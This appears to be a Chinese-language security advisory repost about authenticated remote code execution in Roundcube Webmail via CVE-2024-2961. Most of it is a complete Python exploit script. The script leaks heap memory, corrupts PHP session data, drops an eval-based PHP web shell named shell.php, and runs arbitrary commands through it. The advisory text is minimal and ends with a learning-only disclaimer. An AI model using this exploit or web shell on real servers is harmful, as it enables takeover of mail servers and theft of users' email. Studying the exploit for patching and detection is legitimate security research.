0x00 前言
Roundcube是一款被广泛使用的开源的电子邮件程序,在全球范围内有很多组织和公司都在使用。
在过去的几年里,仅SourceForge上的镜像文件被下载次数就超过26万,这还仅仅是实际使用群体中的一小部分。
在服务器上成功安装Roundcube之后,它会提供给用户一个web接口,通过验证的用户就可以通过Web浏览器收发电子邮件。
0x01 漏洞描述
受CVE-2024-2961影响,攻击者可通过PHP过滤器结合iconv()函数实现对Roundcube核心内存分布修改,最终达到任意远程代码执行。
PS:需要Roundcube Webmail的账号密码登录。
0x02 CVE编号
无
0x03 影响版本
无
0x04 漏洞详情
POC:
https://github.com/ambionics/cnext-exploits/blob/main/roundcube-exploit.py
#!/usr/bin/env python3
#
# CNEXT: Roundcube authenticated RCE (CVE-2024-2961)
# Date: 2024-06-17
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# INFORMATIONS
#
# Tested on Roundcube 1.6.6, PHP 8.3. This is merely a POC. If it fails, you'll have to
# debug it yourself. Maybe the target is patched, or my leak technique does not work
# for the Roundcube/PHP version of your target.
#
# REQUIREMENTS
#
# Requires ten: https://github.com/cfreal/ten
#
from dataclasses import dataclass, field
from ten import *
from pwn import p64, p32, u64
HEAP_SIZE = 2 * 1024**2
class Buffer:
def __init__(self, size: int, byte: bytes = b"\x00") -> None:
self.array = bytearray(byte * size)
def __setitem__(self, position: int, value: bytes) -> None:
end = position + len(value)
if end > len(self.array):
raise ValueError(
f"Cannot write value of size {len(value)} at position {position} in buffer of size {len(self.array)}"
)
self.array[position : position + len(value)] = value
def __bytes__(self) -> bytes:
return bytes(self.array)
class Data:
data: list[tuple[str, bytes]]
def __init__(self, form: Form, **kwargs) -> None:
self.data = [
(key, to_bytes(value)) for key, value in (form.data | kwargs).items()
]
def add(self, key: str, value: bytes) -> None:
self.data.append((key, to_bytes(value)))
def marker(self, key: str, size: int, c: bytes = b"M") -> None:
marker = f"M{key}".encode()
marker = marker + string(size - len(marker), c=c)
self.add(key, marker)
def delete(self, key: str) -> None:
self.add(key, b"")
def encode(self, value) -> bytes:
return tf.qs.encode_all(value).encode()
def min_encode(self, value: bytes) -> bytes:
"""Perform the minimum URL-encoding for value."""
value = value.replace(b"+", b"%2B")
value = value.replace(b"&", b"%26")
return value
def __bytes__(self) -> bytes:
data = b"&".join(
key.encode() + b"=" + self.min_encode(value) for key, value in self.data
)
# data = data + b"&"
# data = data.ljust(1024*1024, b"x")
return data
@entry
@arg("url", "URL of target")
@arg("username", "Username")
@arg("password", "Password")
@arg("command", "Command to run")
@dataclass
class Exploit:
"""Roundcube authenticated RCE exploit using CVE-2024-2961 (CNEXT)."""
url: str
"""URL of the target."""
username: str
"""Username to authenticate with."""
password: str
"""Password to authenticate with."""
command: str
"""Command to run on the target."""
session: ScopedSession = field(init=False)
form: Form = field(init=False)
@inform("Authenticating", "Login OK", "Failed to authenticate", ko_exit=True)
def login(self) -> bool:
response = self.session.get("/")
form = response.form(id="login-form")
response = form.update(_user=self.username, _pass=self.password).submit()
response.expect(302, 401)
return response.code(302)
@inform("Getting compose form...")
def get_form(self) -> Form:
response = self.session.get("/?_task=mail&_mbox=INBOX&_action=compose")
response.expect(302)
response = response.follow_redirect()
self.form = response.form(action="/?_task=mail")
def submit(self, data: bytes) -> Response:
return self.session.post(
"/?_task=mail&_framed=1",
data=bytes(data),
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
@inform("Leaking heap...")
def get_leak(self) -> None:
"""We use chunks of size 0x800 to perform the exploit.
The size is not trivial: sprintf() returns chunks multiple of 0x400, and we'll
see why it is useful later on.
The idea is to trigger the bug, and use it to make a chunk A of size 0x800 get
allocated a little bit lower than expected, and overflow into the chunk B right
under itself. We want to use A to overwrite B's zend_string header before it is
displayed on the page to increase its size.
The difficulty here is that we need B to be displayed RAW in the page - for
instance, if json_encode() is called on B before it is displayed, it will
discard some of the bytes of the leak, and make it less useful.
To do so, I chose to play with the rcmail_output_html::get_js_commands() method,
which allocates and concatenates a few strings (some that we control) before
they get displayed. After the exploitation of the bug, we have FL[0x800]:
D -> B -> C -> A', with A' sitting 0x4a bytes after A in memory
To perform this magic trick we will make use of every input value and every
string manipulation calls such as json_encode(), sprintf(), and the
concatenations that happen in the function.
Despite being ~80 lines long, this part was absolute hell.
The leak is around 0x3000 bytes, so we can allocate something on the page right
under to leak addresses.
By creating and clearing a few 0x800 pointers using POST data, we make sure that
the leak points very close to us. It actually points to the first L[1], so by
substracting 0x800*2 we get to L[0], and at -0x800*6 we have V[0].
"""
what = "heap"
assert what in ("heap", "main")
# _(27, 2048, 8, 4, x, y) \
NB_VICTIMS_PER_ALLOC = 4
NB_POSTS_PER_ALLOC = NB_VICTIMS_PER_ALLOC // 2
VICTIM_SIZE = 0x800 # 3072 # 29
VICTIM_SIZE_MIN = 0x700 + 1 # 2560 # 28
data = Data(self.form)
data.add("_charset", b"ISO-2022-CN-EXT")
# Overflow!
data.add("_to", overflow_string(VICTIM_SIZE))
# unlock is too small for chunks of 0x800, but if you add one byte, it is not
# anymore
data.add("_unlock", unlock(VICTIM_SIZE_MIN - 1))
# Small pad
for i in range(NB_POSTS_PER_ALLOC + 2):
data.marker(f"PV[{i}]", VICTIM_SIZE_MIN, b"V")
# Victims
for i in range(NB_POSTS_PER_ALLOC):
data.marker(f"V[{i}]", VICTIM_SIZE_MIN, b"\x00")
match what:
# We want to leak pointers to our chunks of the same size as the one used to
# exploit, so we allocate 0x800 chunks and free them
case "heap":
# Leak pointers
for i in range(NB_POSTS_PER_ALLOC):
data.marker(f"L[{i}]", VICTIM_SIZE_MIN, b"\x00")
# Create these so that the memory leak leaks their precise address
data.delete(f"L")
# This is legacy code: what is always `heap` now, but I keep it in case you
# want to see the difference: here, we allocate arrays to be able to see
# them in the heap
case "main":
for i in range(100):
data.marker(f"A[{i}]", 0x38)
data.delete("A")
# Make the free list become: D B C A
data.delete(f"V")
# _cc and _bcc will get exploded by ",", and each email will be parsed one by
# one. If one produces an error, it is stored and an error message is displayed
# Otherwise, the list of every email separated by ", " is stored.
# _cc: this value is the first invalid email, and it'll get stored in order to
# be displayed in a json_encoded error message:
# "Adresse courriel invalide : <MAIL>"
# We use a value that makes the json_encode() to fit in a 0x800 chunk, as well
# as the sprintf() that comes later on.
error_email = string(0x650, b"o") + b"\x00" * 55 + b"abcdef"
data.add("_cc", error_email)
# _bcc: contains multiple emails
#
# Create a list of emails which, after being concatenated and stored by
# email_input_format(), fit in a 0x800 chunk, thus padding the FL
mail_list = "a@t.net, "
mail_list = (mail_list + " " * 20) * (VICTIM_SIZE_MIN // len(mail_list))
mail_list = mail_list.encode()
data.add("_bcc", mail_list)
# Get our leak!
response = self.submit(data)
match = response.re.search(
rb'parent.rcmail.iframe_loaded\((".*)abcdef","error",0\);\n}\n</script>\n\n\n</head>\n<body>\n\n</body>\n</html>$',
flags=re.S,
)
assume(match, "Could not get leak")
match = match.group(1)
assume(len(match) > 0x00000E64, "Could not trigger leak")
match what:
case "heap":
leak = u64(match[0x00001FA8:0x00001FB0])
msg_info(f"Leaked heap address: [b]{hex(leak)}")
# Same: this is legacy code, but I keep it in case you want to see the idea
case "main":
leak = u64(match[0x000027D8:0x000027E0])
msg_success(f"Leaked [i]_zval_ptr_dtor[/] address: [b]{hex(leak)}")
return leak
@inform("Executing code...")
def overwrite_session_preferences(self, heap: int) -> None:
"""Overwrite the session hashmap+bucket to point to create a fake `preferences`
key-value that will be deserialized afterwards.
"""
VICTIM_SIZE = 0x400
VICTIM_SIZE_MIN = 0x380 + 1
data = Data(self.form)
data.add("_charset", b"ISO-2022-CN-EXT")
trigger = (
"A" * (VICTIM_SIZE - 0x100)
+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA劄劄\n劄劄\n劄劄\n劄\n劄\n劄\n劄"
)
data.add("_to", trigger)
# data.add("_unlock", unlock(0x700))
HEAP_BASE_ADDR = heap & ~(HEAP_SIZE - 1)
SESSION_BUCKETS_ADDR = HEAP_BASE_ADDR + 0xA2000 - 0x100
# Offset from our overwrite to the Bucket allocation
OFF_WRITE = 0x280
# Number of entries in the array
entries = 0x20
# Create a few chunks of size 0x400 which contain, at offset 0x48, an arbitrary
# address, and free them. After we overwrite the LSB of the FL[0x400] pointer,
# it'll point to said arbitrary address.
for i in range(10):
payload = bytearray(string(VICTIM_SIZE_MIN, b"\x00"))
offset = 0x48 - 0x18
payload[offset : offset + 8] = p64(SESSION_BUCKETS_ADDR - OFF_WRITE - 0x18)
data.add(f"A[{i}]", payload)
data.delete("A")
# We modify arData[0] and set its key to preferences. When the session gets
# saved, PHP will extract the keys one by one from the session array, and then
# use zend_hash_find() to find the corresponding value. We update the hashmap
# so that when looking for the index in arData of preferences, 0x21 is returned.
# 0x21 is the index of the fake bucket we created, which points to the fake
# value (a serialized string)
# The key/value pair therefore gets stored in the array. When we go on the index
# afterwards, preferences gets deserialized (rcube_user.php:147)
# Key of the session bucket that we want to change
KEY = b"preferences"
VALUE = qs.decode_bytes(
"""a:2:{i:7%3BO:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"%00GuzzleHttp\Cookie\CookieJar%00cookies"%3Ba:1:{i:0%3BO:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"%00GuzzleHttp\Cookie\SetCookie%00data"%3Ba:3:{s:7:"Expires"%3Bi:1%3Bs:7:"Discard"%3Bb:0%3Bs:5:"Value"%3Bs:30:"<?php%20eval($_REQUEST['x'])%3B%20?>"%3B}}}s:39:"%00GuzzleHttp\Cookie\CookieJar%00strictMode"%3BN%3Bs:41:"%00GuzzleHttp\Cookie\FileCookieJar%00filename"%3Bs:23:"./public_html/shell.php"%3Bs:52:"%00GuzzleHttp\Cookie\FileCookieJar%00storeSessionCookies"%3Bb:1%3B}i:7%3Bi:7%3B}"""
)
# Its hash
KEY_HASH = 0xC0C1E3149808DB17
# And its offset in the hashmap
HASH_OFFSET = 0xFFFFFFFF & (KEY_HASH | 0xFFFFFFC0)
HASH_OFFSET = 0xFFFFFFFF - HASH_OFFSET + 1
HASH_OFFSET = 0x40 - HASH_OFFSET
BASE_ADDR = SESSION_BUCKETS_ADDR + 0x500
KEY_ADDR = BASE_ADDR + 0x40
VALUE_ADDR = BASE_ADDR + 0x270
# A fake index that actually points AFTER the Buckets[] in memory, right onto
# our modified bucket
in_string = 0
# The original (unmodified) hashmap
hashmap = bytearray(
bytes.fromhex(
f"""
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff 05 00 00 00 ff ff ff ff ff ff ff ff
ff ff ff ff 15 00 00 00 11 00 00 00 ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff 0e 00 00 00
04 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff 07 00 00 00 ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff 13 00 00 00 ff ff ff ff ff ff ff ff
12 00 00 00 0f 00 00 00 02 00 00 00 08 00 00 00
0a 00 00 00 ff ff ff ff 0d 00 00 00 ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff 14 00 00 00
0b 00 00 00 ff ff ff ff ff ff ff ff 06 00 00 00
09 00 00 00 ff ff ff ff ff ff ff ff 10 00 00 00
0c 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff
"""
)
)
# Change hash to make it point to the first bucket, that we have modified
hashmap[HASH_OFFSET * 4 : HASH_OFFSET * 4 + 4] = p32(in_string)
victim = Buffer(OFF_WRITE + 0x100 + 0x20, b"A")
victim[OFF_WRITE] = hashmap
# Fake bucket
victim[OFF_WRITE + 0x100] = (
p64(VALUE_ADDR) # ZVAL ZVALUE
+ p32(6)
+ p32(0xFFFFFFFF) # ZVAL TYPE and NEXT
+ p64(KEY_HASH) # HASH
+ p64(KEY_ADDR) # KEY
)
victim = bytes(victim)
assert (
VICTIM_SIZE >= len(victim) + 0x18 + 1 >= VICTIM_SIZE_MIN
), f"{hex(len(victim) + 0x18 + 1)}"
# _from addresses, separated by `;`, get through a list of modifications. The
# two we use are the mime decoding (=?UTF-8?B?<base64>?=) and then a trim()
# base64-decode is nice because it allows us to have raw bytes in our payload
# (bypass the charset conversion that happens first), but it will decode in a
# buffer that has the same size as the base64 (for instance if b64 has size
# 0xc00, the decoded string is allocated in a 0xc00 chunk as well). A few calls
# deeper, our values are trim()ed however, which will cause a reallocation.
# The trim() operations will therefore allocate the chunks
def build_equal_payload(data: bytes) -> str:
data = b" " * 1000 + data
data = base64.encode(data)
data = f"=?UTF-8?B?{data}?="
return data
victim = build_equal_payload(victim)
# our fake pointer points to a 0x500 chunk; when it gets freed, it'll be put in
# the FL (and be ready to be allocated). We create other 0x500 allocs to protect
# it
protector = bytearray(string(0x500, b"P"))
protector = build_equal_payload(protector)
data.add("_from", ";".join([victim] * 30 + [protector] * 10))
# Create an array of 0x500 chunks separated by a hole
# like A-<hole>-B-<hole>-C-<hole>-D...
# The buckets of $_SESSION will get allocated in one of the holes
# TODO Reduce N probably
n = 10
for i in range(n * 2):
data.marker(f"B[{i}]", 0x500, b"X")
data.delete("B")
# We create chunks filled with 0x00, so that when we alter the FL to point
# there, it does not break with successive allocations.
# In addition, we include a fake key and value in there, that we can reference
# in our modified bucket
for i in range(n):
padder = Buffer(string_size(0x500))
fake_key = Buffer(0x30)
fake_key[0x00] = p32(100) + p32(6) # gc
fake_key[0x08] = p64(KEY_HASH) # HASH
fake_key[0x10] = p64(len(KEY)) # LEN
fake_key[0x18] = KEY + b"\x00"
fake_key = bytes(fake_key)
fake_value = Buffer(0x280)
fake_value[0x00] = p32(100) + p32(6) # gc
fake_value[0x08] = p64(0) # HASH
fake_value[0x10] = p64(len(VALUE)) # LEN
fake_value[0x18] = VALUE + b"\x00"
fake_value = bytes(fake_value)
padder[0x028] = fake_key
padder[0x258] = fake_value
padder = bytes(padder)
data.add(f"Z[{i}]", padder)
data.add("_draft", "1")
try:
r = self.submit(data)
except Exception:
failure("Crash while dumping binary")
if not r.code(500):
msg_warning("No error, strangely")
msg_success("Set session preferences, triggering!")
response = self.session.get("/")
command = "rm -rf shell.php; " + self.command
command = base64.encode(command)
command = f"""system(base64_decode('{command}'));"""
response = self.session.post("/public_html/shell.php", {"x": command})
if response.code(200):
msg_success("Command executed")
elif response.code(404):
failure("Payload was not deserialized")
else:
failure(f"Unexpected error: {response.status_code}")
def run(self) -> None:
self.session = ScopedSession(self.url)
# Initial request to setup heap IDK
self.session.get("/")
# self.session.burp()
self.login()
self.get_form()
heap = self.get_leak()
self.overwrite_session_preferences(heap)
self.session.close()
def string_size(n: int) -> int:
return n - 24 - 1
def string(n: int, c: bytes = b"A") -> bytes:
return c * string_size(n)
def overflow_string(n: int) -> bytes:
prefix = b"\xe2\x84\x96\xe2\x84\x96\xe2\x84\x96\n" * 11
suffix = b"\xe3\xb4\xbd"
fake_mail = b"F" * 0x600 + b","
added_size = n - 32 - len(prefix + suffix + fake_mail)
value = fake_mail + string(added_size, b"O") + prefix + suffix
return value
def unlock(size: int) -> bytes:
"""
pwndbg> hex args[0]->value.str
+0000 0x7f3e803d6400 02 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0010 0x7f3e803d6410 58 03 00 00 00 00 00 00 69 66 20 28 77 69 6e 64 │X.......│if.(wind│
+0020 0x7f3e803d6420 6f 77 2e 70 61 72 65 6e 74 20 26 26 20 70 61 72 │ow.paren│t.&&.par│
+0030 0x7f3e803d6430 65 6e 74 2e 72 63 6d 61 69 6c 29 20 70 61 72 65 │ent.rcma│il).pare│
+0040 0x7f3e803d6440 6e 74 2e 72 63 6d 61 69 6c 2e 69 66 72 61 6d 65 │nt.rcmai│l.iframe│
+0050 0x7f3e803d6450 5f 6c 6f 61 64 65 64 28 22 55 55 55 55 55 55 55 │_loaded(│"UUUUUUU│
...
+0050 0x7f3e803d6760 55 55 55 55 55 55 55 55 55 55 55 55 22 29 3b 0a │UUUUUUUU│UUUU");.│
+0060 0x7f3e803d6770 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │........│........│
"""
return string(size - 70, b"U")
Exploit()
0x05 参考链接
https://roundcube.net/
https://github.com/ambionics/cnext-exploits/blob/main/roundcube-exploit.py
https://www.ambionics.io/blog/iconv-cve-2024-2961-p2
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。